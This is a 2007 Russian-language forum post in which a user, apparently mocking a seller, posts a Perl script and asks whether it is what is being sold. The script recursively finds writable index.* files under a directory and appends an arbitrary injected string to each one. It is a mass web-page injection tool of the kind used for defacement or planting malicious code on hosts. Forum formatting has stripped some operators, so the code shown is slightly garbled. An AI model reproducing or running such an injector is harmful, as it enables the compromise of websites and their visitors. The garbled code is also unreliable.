Показать сообщение отдельно

  #12  
Старый 15.01.2007, 23:41
И.Г.
Постоянный
Регистрация: 29.08.2006
Сообщений: 752
Провел на форуме:
2051507

Репутация: 1178


Отправить сообщение для И.Г. с помощью ICQ
Smile

этот чтоль продаешь?
PHP код:
#!/usr/bin/perl -w
#
use strict;

my $dir=$ARGV[0] || $ENV{'HOME'}; # откуда пойдем плясать
my $idx_ext='index'#что ищем
my $shit="ТУТ Я ВСТАВИЛ НУЖНУЮ МНЕ СТРОКУ";
my @INDEX=();# массив для файлов

&recur($dir);
my @RWF=&test();# проверяем файлы доступные для записи
foreach (@RWF) {
print 
"Rewrite file $_";
open(HACK,">>",$_) || die "$!\n";
print 
HACK $shit;
close(HACK);
print 
"..................OK\n";
}
############ SubRoutines ###########################
sub recur
{
my $dir shift;
opendir DIR$dir or return;
my @contents map "$dir/$_"sort grep !/^\.\.?$/, readdir DIR;
closedir DIR;
foreach (@
contents)
{
if (!-
&& -d)
{
recur($_);
} else {
if (
$_ =~ /$idx_ext\.\w+$/i)
{
push(@INDEX,$_);
} else { 
next; }
}
}
}

sub test {
my @RWF=();
while(@
INDEX) {
my $file=shift(@INDEX);
push(@RWF,$file) if(-w $file);
}
return @
RWF;

если че я два беру...
 
Ответить с цитированием